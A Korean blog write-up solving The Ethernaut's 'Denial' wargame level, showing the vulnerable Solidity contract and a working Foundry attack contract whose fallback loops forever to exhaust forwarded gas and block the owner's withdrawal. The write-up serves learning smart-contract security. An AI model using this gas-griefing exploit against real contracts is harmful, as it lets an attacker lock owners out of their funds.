728x90
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
문제 해석하는게 젤 어렵다.
대충 withdraw()함수를 호출 할 때, payable(owner).transfer를 실패하게 하라는 뜻이다.
보면은 partner.call 이후에 있는데 call함수는 저수준 함수로 남은 가스까지 모두 보내버린다.
즉, 가스를 모두 보내고 사용하지 않으면 다시 갖고오는 함수이다.
transfer 함수는 이와 달리 가스를 2300으로 고정하여 무조건 2300가스만을 사용하게 한다.
만약 call함수에서 남은 가스를 모두 써버리면 어떻게 될까?
transfer함수에서 요구로하는 2300가스가 없기에 해당 함수는 실패하게 된다.
그러면 내 컨트랙트에서 fallback함수로 가스를 전부 소모하는 코드를 짜주면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/denial.sol";
contract Attack {
Denial public target;
constructor(){
address payable targetAddress = payable(0x1e1dB2E3169f8a26d131AbB2825fef6F03AC154a);
target = Denial(targetAddress);
}
function setPartner() external{
target.setWithdrawPartner(address(this));
}
function attack() external{
target.withdraw();
}
fallback() external payable{
while(true){}
}
}
contract DenialSolve is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack exploit = new Attack();
exploit.setPartner();
exploit.attack();
vm.stopBroadcast();
}
}
뭐 다른 방법도 있겠지만 간단하게 무한루프로 없애버렸다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Shop (0) | 2025.02.03 |
---|---|
[The Ethernaut] Alien Codex (0) | 2025.02.03 |
[The Ethernaut] Magic Number (0) | 2025.02.02 |
[The Ethernaut] Recovery (0) | 2025.02.02 |
[The Ethernaut] Preservation (0) | 2025.02.02 |